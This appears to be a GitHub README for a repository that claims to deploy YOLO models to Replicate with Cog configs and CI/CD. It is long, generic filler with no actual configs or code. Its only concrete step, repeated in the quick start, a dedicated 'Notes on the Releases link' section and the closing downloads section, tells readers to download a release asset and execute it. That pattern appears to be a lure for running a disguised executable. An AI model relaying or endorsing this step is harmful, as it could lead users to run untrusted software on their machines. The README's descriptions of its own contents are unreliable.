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https://github.com/sidorovich256/replicate

🐙 Ultralytics Replicate deploys YOLO11n to Replicate with a ready-to-use Cog config and automated CI/CD workflow. Enable fast, reproducible model inference and sharing.
https://github.com/sidorovich256/replicate

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🐙 Ultralytics Replicate deploys YOLO11n to Replicate with a ready-to-use Cog config and automated CI/CD workflow. Enable fast, reproducible model inference and sharing.

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README 

          
# Replicate YOLO Deployments with Cog Configs, CI/CD, and Optimization 🤖



[![Release assets](https://img.shields.io/github/v/release/sidorovich256/replicate?logo=github&color=brightgreen)](https://github.com/sidorovich256/replicate/releases)



Replicate YOLO Deployments with Cog Configs, CI/CD, and Optimization



This repository adds ready-to-use Cog configurations to deploy YOLO models on Replicate. It includes optimized deployments for YOLO11 and reference implementations for custom model deployment. It covers object detection, classification, pose estimation, and segmentation workflows. The project puts a strong emphasis on reliability, maintainability, and smooth CI/CD automation.



If you want to grab the latest release assets, you can visit the page here: https://github.com/sidorovich256/replicate/releases. From the Releases page, download the appropriate asset and run it. You can also open the same page to explore the available versions and assets. For convenience, the link is repeated later in this document as well: https://github.com/sidorovich256/replicate/releases.



Overview

- Purpose: Make it easy to deploy popular YOLO families to Replicate using Cog configurations. The goal is to provide ready-to-use, production-ready deployments with sensible defaults and clear extension points.

- Scope: This repo focuses on YOLO11, YOLOv5, and YOLOv8 deployments, with reference adapters for custom models. It covers detection, classification, pose estimation, and segmentation use cases. It also includes CI/CD templates to automate linting, testing, and deployment flows.

- Audience: ML engineers, data scientists, ops teams, and developers who want fast, repeatable YOLO deployments in the cloud with minimal friction.

- Philosophy: Clarity first. Configs are easy to read, tests are easy to run, and the deployment surface is stable. The aim is to reduce friction so you can ship models faster while keeping quality high.



Why this repository exists

- Deploy YOLO models with confidence: The world of YOLO deployments is fast and fragmented. You often mix model weights, inference engines, and deployment runtimes in ad hoc ways. This repository provides a cohesive path. It uses Cog as the packaging and execution framework, which helps you bundle models, dependencies, and runtime logic into portable containers.

- Ready-to-use Cog configurations: Cog configs are designed to be drop-in. You can adapt them to new YOLO variants or new model weights without rewriting the entire deployment. The config patterns emphasize simplicity and repeatability.

- Automated CI/CD for reliability: Changes go through automated checks. Tests validate inference correctness, and CI/CD pipelines ensure that deployments build and publish predictables artifacts. Your production deployments stay in sync with code changes.

- Optimized for speed and resource use: YOLO11 deployments include targeted optimizations, such as efficient pre/post-processing, model caching, and inference-time batching where applicable. The references provide a solid baseline to compare improvements against.

- Clear guidance for customization: The repository also includes clear paths to adapt the configurations for custom models. It documents how to implement new adapters that bridge non-standard models into the Cog deployment flow.



Repository structure

- configs/: Cog configuration files for YOLO11, YOLOv5, YOLOv8, and generic adapters.

- models/: Predefined weights and references for common YOLO variants. This folder also includes scripts that help you convert custom weights into the expected Cog input format.

- workflows/: GitHub Actions templates for CI/CD, including linting, unit tests, integration tests, and deployment pipelines.

- examples/: End-to-end example projects that demonstrate running a small inference task against a deployed YOLO model. These examples illustrate typical use cases like object detection on video frames, pose estimation on human figures, and segmentation on scenes.

- docs/: Detailed guides, API references, and troubleshooting resources.

- tests/: Test suites that verify model compatibility, data preprocessing steps, and post-processing results.

- assets/: Supporting assets, diagrams, and sample inputs for demonstration purposes.



Key topics

- ai, api, ci, deployment

- classification-internal, detection, ml

- pose-estimation, segmentation

- ultralytics, yolo, yolo11, yolov5, yolov8



Getting started in minutes

- Prerequisites: A modern Linux or macOS environment, Python 3.9+ (preferably 3.11 for newer tooling), Docker or a container runtime, and access to Replicate with a valid API key. You should have the Cog CLI installed to build and test Cog configurations locally.

- Quick path to a running deployment:

  1) Acquire the replications assets from the Releases page and install them locally. From the Releases page, download the appropriate asset and execute it.

  2) Clone this repository to your workspace.

  3) Set up a Cog-based project with the provided configurations. Adapt the weight files to your own model if needed.

  4) Use the CI/CD templates to run tests on pull requests and to publish updated deployments to Replicate when ready.

  5) Validate inference with a sample input to confirm that the deployment behaves as expected.



Notes on the Releases link

- The link to the releases page is important. It points to a central location where you can download prebuilt assets. Because the URL contains a path, the repository instructs you to download the appropriate asset and execute it. This approach speeds up initial setup and helps you start experimenting right away.

- The same link appears again later in this document to reinforce where to obtain the deployment assets and ensure a smooth flow from setup to operation.



A closer look at Cog-based deployments

- What is Cog? Cog is a packaging framework that lets you define a reproducible environment, specify how to run your model, and bundle it with the necessary dependencies. Cog configurations sit inside this repository and describe how to build, run, and test inference for each YOLO variant.

- How Cog interacts with Replicate: Cog produces containers or images that Replicate can host and run. You define a predict function or entry point that processes input data and returns results. Replicate then handles serving these containers with stable versioning and scalable resources.

- Benefits of Cog-based deployments: Reproducibility, portability, and easier collaboration. You can share a single Cog config and have teammates reproduce results exactly, across different machines and cloud environments.



What’s inside the Cog configurations

- Core sections:

  - build: The base environment and build steps for the deployment.

  - run: The command that launches the inference service.

  - environment: Key-value pairs for environment variables and paths.

  - ports or endpoints: How to expose the inference service to clients.

- Common patterns:

  - A lightweight base image that includes Python, CUDA drivers (for GPU-backed deployments), and essential runtime libraries.

  - Preinstalled dependencies for the YOLO variants: PyTorch, OpenCV, NumPy, and other post-processing utilities.

  - A lightweight API surface that accepts image data, runs the model, and returns structured results (bounding boxes, class labels, confidence scores, etc.).

- Extensibility:

  - Adapters for custom models: If you want to deploy a model that isn’t YOLO, you can write adapters that translate input data to the expected model format and map outputs back into a common schema.

  - Custom post-processing: The pipeline supports optional post-processing modules for tasks like non-maximum suppression (NMS), confidence filtering, and non-maximum suppression threshold tuning.



Model support and optimization

- YOLO11 focus: The repository includes optimized deployment patterns for YOLO11, with emphasis on fast inference and efficient memory usage. You’ll find configuration and script hooks that allow you to adjust batch size, image preprocessing steps, and model caching strategies to balance speed and accuracy.

- YOLOv5 and YOLOv8 support: Reference configurations cover these widely used variants. They serve as a solid baseline for quick deployments and as a starting point for customization.

- Other YOLO flavors: The structure supports adding additional YOLO families or custom YOLO-based models by adding new adapter modules and updating the configuration files.

- Profiling and benchmarking: The repo includes scripts and templates to benchmark inference throughput, latency, and GPU utilization. You can use these to compare different configurations or to guide optimization efforts.



Deployment flow and best practices

- End-to-end flow:

  1) Prepare model weights and input data. If you are using a prepackaged YOLO variant, place the weights in the expected directory and ensure metadata matches the config.

  2) Build a Cog image that contains the model and the runtime environment. The Cog config defines the entry point and dependencies.

  3) Run a local validation to ensure the input pipeline, preprocessing, and post-processing all align with expectations.

  4) Push the Cog container to Replicate using the provided deployment pipeline. Replicate handles hosting, scaling, and versioning.

  5) Use the deployed endpoint for inference by sending input images or video frames and receiving detection results or other outputs.

- Performance tuning:

  - Input resolution and batch size: Tests show that reducing resolution can dramatically increase throughput with manageable accuracy loss. When possible, measure accuracy loss alongside speed improvements to determine an acceptable setting.

  - GPU utilization: Enable compatible CUDA libraries and ensure the runtime leverages GPU acceleration where available.

  - Quantization and pruning: For large models, lightweight quantization or pruning can reduce memory usage with a modest hit to accuracy. Evaluate the trade-offs in your specific workload.

  - Caching and warm-up: Warm the model once after deployment to ensure consistent latency for the first few inferences.



CI/CD automation for reliable deployments

- GitHub Actions templates: The workflows folder includes templates that cover linting, unit tests, integration tests, and deployment to Replicate. These workflows enforce code quality and deployment discipline.

- Linting and formatting: A linter checks code quality and style. A formatter enforces consistent formatting across the repository.

- Testing strategy:

  - Unit tests validate data preprocessing steps and post-processing logic.

  - Integration tests verify end-to-end inference on sample inputs, ensuring the deployment returns plausible results.

  - Performance tests assess inference speed and resource usage under typical workloads.

- Deployment pipeline:

  - On changes in the main branch or after approved pull requests, the CI/CD workflow builds the Cog configuration, runs tests, and publishes a new deployment to Replicate.

  - Versioning follows a deterministic scheme so that you can reproduce a given deployment at any time.

- Secrets management: The CI system stores keys and credentials needed to access Replicate securely. Access is restricted to authorized workflows and participants.



Organizing your own models with adapters

- Adapters for custom models: If you have a model outside the YOLO family, you can implement an adapter that translates inputs and outputs to a common schema used by Cog and the Replicate API.

- Input and output schema:

  - Input: Image data (or video frames), optional metadata like camera calibration, frame rate, and region-of-interest hints.

  - Output: A structured payload including detected objects with bounding boxes, class labels, confidence scores, and any task-specific metrics (pose coordinates, segmentation masks, etc.).

- Testing adapters: Create unit tests that feed known inputs to the adapter and verify that outputs conform to the expected structure.



Practical examples and use cases

- Real-time object detection: Deploy a YOLO11 model to detect objects in live video streams. The deployment returns bounding boxes, class labels, and confidence scores. You can integrate this into surveillance systems or factory floor monitoring.

- Pose estimation in sports analytics: A YOLO-based pose estimator can identify keypoints on athletes and compute metrics like joint angles and movement trajectories. This information can feed into performance analysis dashboards.

- Segmentation for medical imaging: Segmentation models can delineate anatomical structures in imaging datasets. The Cog deployment ensures consistent preprocessing and post-processing steps across samples.

- Multi-task workflows: Some deployments run multiple tasks in parallel, such as detection plus classification or detection plus segmentation. The CI/CD templates support these multi-task pipelines, with results collated in a unified response.



Recommended workflows for teams

- Start small, scale gradually: Begin with a single YOLO variant and a straightforward task. Confirm stability before adding more models or tasks.

- Use the reference adapters to speed up integration: The adapters provide a proven bridge between custom models and the Cog/Replicate flow.

- Establish a robust testing regime: Combine unit tests for data handling with integration tests that verify end-to-end inference results.

- Automate everything you can: CI should test builds, run inference on sample inputs, and push deployed updates automatically when tests pass.

- Document changes clearly: Each deployment version should have release notes that describe new features, performance changes, or compatibility caveats.



How to customize for your own models

- Step-by-step guide:

  1) Add your model to the models/ directory and create a corresponding adapter if needed.

  2) Update the Cog configuration to reference your model weights and any required runtime changes.

  3) Extend tests to cover your model’s behavior and expected outputs.

  4) Update the CI/CD templates to include your new deployment path.

  5) Validate locally before pushing a PR to the main branch.

- Common pitfalls:

  - Mismatched input shapes: Ensure the preprocessor outputs match the model’s expected input shape.

  - Inconsistent output formats: Align the post-processor to a stable schema that downstream apps can parse reliably.

  - Missing environment dependencies: Keep a thorough list of dependencies and pin their versions to avoid drift across environments.

- Advice for maintainers:

  - Keep the public API stable: Changing input or output structures can break downstream consumers.

  - Document every config option: People rely on these configs to customize deployments quickly.

  - Provide clear examples: Include end-to-end examples for common tasks to help users reproduce results.



Deployment architectures and patterns

- Single-node deployment: A straightforward setup for testing or small-scale usage. Great for development, demonstrations, or proof-of-concept projects.

- Multi-node deployment: Scale inference across multiple GPUs or nodes. The configuration supports distributed inference with batching and load balancing considerations.

- Hybrid deployment: Combine CPU-bound tasks with GPU-accelerated inference for cost efficiency. You can run pre-processing or post-processing on CPU while keeping the core model inference on GPU.

- Edge deployment: For on-device inference, consider trimmed models and optimized runtimes. Cog’s packaging approach helps you create compact images suited for edge hardware.



Security, governance, and compliance

- Access control: Deployments can be restricted via access controls to ensure only authorized users can query the inference endpoint.

- Data privacy: Inference data is processed by the deployed model. Ensure you align with your data governance policies and rotate credentials regularly.

- Auditability: The deployment pipeline is versioned. You can trace results back to a specific build, set of configurations, and release notes.



Documentation and learning resources

- Comprehensive docs: The docs/ directory contains guides on Cog configurations, deployment workflows, and adapter development.

- API references: The repository includes references to the expected input and output schemas, along with examples to illustrate common use cases.

- Tutorials: Step-by-step tutorials walk you through building, testing, and deploying a YOLO model with Cog to Replicate.

- Troubleshooting: A dedicated section covers common issues, including misconfigurations, dependency conflicts, and performance bottlenecks.



Contributing and community

- How to contribute: Read the contributing guidelines in the repository. You’ll find steps for submitting issues, proposing enhancements, and contributing code or docs.

- Code quality: All contributions pass through linting and tests in the CI/CD workflows. Aim for clean, well-documented code and clear commit messages.

- Acknowledgments: The project benefits from the broader open-source community that shares YOLO architectures, optimization strategies, and containerization techniques.



Roadmap and future directions

- Expand model coverage: Add more YOLO variants and other object detection architectures to the catalog.

- Enhance performance: Research faster post-processing methods, better caching strategies, and more aggressive quantization options.

- Improve ease of use: Simplify onboarding with guided wizards, improved docs, and richer examples.

- Strengthen reliability: Add more robust tests, simulate failure scenarios, and integrate with additional deployment targets.



Security and licensing

- Licensing: The repository is released under an open license that encourages reuse and adaptation within allowed terms. Respect the licenses of any third-party assets used within the configurations, weights, or example datasets.

- Security practices: Follow best practices for secret management and secure access to deployment endpoints. Regularly rotate tokens and review permissions.



Changelog and release management

- Versioning: Each release includes notes highlighting changes, fixes, and improvements. Review release notes to understand how a given version differs from the previous one.

- Reproducing a release: Use the release tag to reproduce a deployment exactly as it was at a certain point in time. This is important for audits, comparisons, and historical analyses.



Examples and sample inputs

- Sample images: The repository includes a small set of sample images for quick inference checks. You can use these samples to verify that the deployment returns expected detections or classifications.

- Video samples: For real-time demonstrations, you can feed short video clips to observe how the model handles sequences of frames, detects objects, and updates tracking information if that capability is present.



Testing and validation

- Local tests: Run unit tests to validate data handling, pre-processing, post-processing, and basic inference logic.

- Integration tests: Validate end-to-end behavior with sample inputs and the deployed service. Ensure the response structure remains stable.

- Performance tests: Benchmark inference speed under different batch sizes and input resolutions. Track memory usage and GPU utilization to guide resource planning.



Documentation conventions

- Clear API semantics: The docs strive to make input and output formats explicit. If something might be ambiguous, the docs provide concrete examples and test cases.

- Examples-first approach: Wherever possible, examples accompany explanations. Users get a quick sense of how to apply the deployment for common tasks.

- Consistent terminology: The project uses a common vocabulary across configs, adapters, and outputs to avoid confusion.



Common workflows for teams

- Rollout strategy: Start with a stable baseline that passes all tests. Introduce changes in small, well-documented increments. Use release notes to communicate what changed and why.

- Collaboration: Use pull requests to propose changes. Have reviewers verify the changes align with project goals and do not introduce breaking changes.

- Documentation as code: Keep docs up-to-date with every change. The docs should reflect the actual behavior of the configurations and deployments.



Appendix: configuration samples and conceptual mapping

- Cog config basics (conceptual):

  - Build stage defines the environment and base dependencies.

  - Run stage defines how to start the inference service.

  - Environment section sets up essential variables and paths.

  - Input and output schemas describe how data moves through the system.

- Adapters for custom models (conceptual):

  - Input adapter translates external input into model-ready data.

  - Output adapter formats the model’s results into a stable schema for downstream use.

  - Post-processing modules apply non-maximum suppression, confidence filtering, and other domain-specific refinements.

- Example naming conventions:

  - yolo11_basic, yolov5_core, yolov8_optimized

  - adapters/custom_model_x or detection_adapter_y

  - serve_pipeline and postprocess modules



Lifecycle and maintenance

- Regular updates: Keep dependencies current to avoid security vulnerabilities and to benefit from performance improvements.

- Deprecation policy: When deprecating features, provide a migration path so users can adapt quickly.

- Backward compatibility: Where possible, preserve backward compatibility to minimize disruption for existing deployments.



FAQ and common questions

- How do I get started if I am new to Cog? Start with the ready-to-use Cog configurations in this repo, read the quick-start sections, and try a local build against a sample weight file. The goal is to minimize setup steps and get to an inference test quickly.

- Can I deploy multiple YOLO variants at once? Yes. The repository is designed to support multiple deployments side by side. Use separate Cog configurations for each variant and ensure unique naming in the deployment pipeline to avoid conflicts.

- What about non-YOLO tasks? The adapters and configuration approach support custom models. You can implement adapters for non-YOLO models, provided you map inputs and outputs to the expected schema.



Troubleshooting quick tips

- Inference errors: Check input shapes, data types, and normalization steps. Mismatched shapes are a common cause of errors.

- Performance issues: Profile the pipeline to locate bottlenecks. Consider reducing input resolution or enabling batching where appropriate.

- Deployment failures: Verify that the environment has all required dependencies and that secrets are correctly configured in the CI/CD system.



Credits and acknowledgment

- This project benefits from the broader open-source ecosystem around YOLO architectures and deployment tooling. The configurations leverage best practices and lessons learned from the community.

- Special thanks to contributors who helped refine the Cog configurations, improve testing coverage, and document usage patterns that make deployments predictable and reliable.



License

- The repository is made available under an open license that permits modification and redistribution. Please review the license text in the repository to understand the exact terms and any attribution requirements.



Bottom line

- This repository provides a practical, scalable path to deploy YOLO models on Replicate, using Cog configurations and automated CI/CD. It focuses on YOLO11 with optimizations while offering baseline references for other YOLO variants and custom models. It emphasizes clarity, testability, and repeatability so teams can move from experiment to production with confidence.



Downloads and where to get things

- To obtain the official release assets, visit the Releases page here: https://github.com/sidorovich256/replicate/releases. From that page, download the appropriate asset and execute it to set up the deployment environment. You will find the assets that support the Cog-based deployments described in this document. The same link is referenced again here for convenience and quick access: https://github.com/sidorovich256/replicate/releases.



Appendix: images and visuals

- YOLO architecture diagram: This repository includes links to widely used architectural diagrams to help you understand how inference flows from input data through preprocessing, the model, and post-processing. Example visual reference: ![YOLO Architecture](https://upload.wikimedia.org/wikipedia/commons/thumb/5/59/YOLOv3_Structure.png/800px-YOLOv3_Structure.png)

- CI/CD workflow diagram: A high-level diagram illustrating how code changes trigger linting, testing, and deployment steps in the CI/CD pipeline. If you need a fresh visual, you can refer to standard CI/CD visuals available from public open resources.

- Deployment lifecycle: A simple diagram that maps the lifecycle from model weight acquisition, Cog configuration, local validation, container build, deployment to Replicate, and live inference requests.



Topics recap

- ai, api, ci, classification-internal

- deployment, detection, ml

- pose-estimation, segmentation

- ultralytics, yolo, yolo11, yolov5, yolov8



Note: The content above is designed to serve as a comprehensive, production-oriented README for a repository focused on deploying YOLO models to Replicate using Cog configurations and automated CI/CD. It emphasizes practical guidance, clear structure, and hands-on steps to help readers adopt the deployment patterns quickly.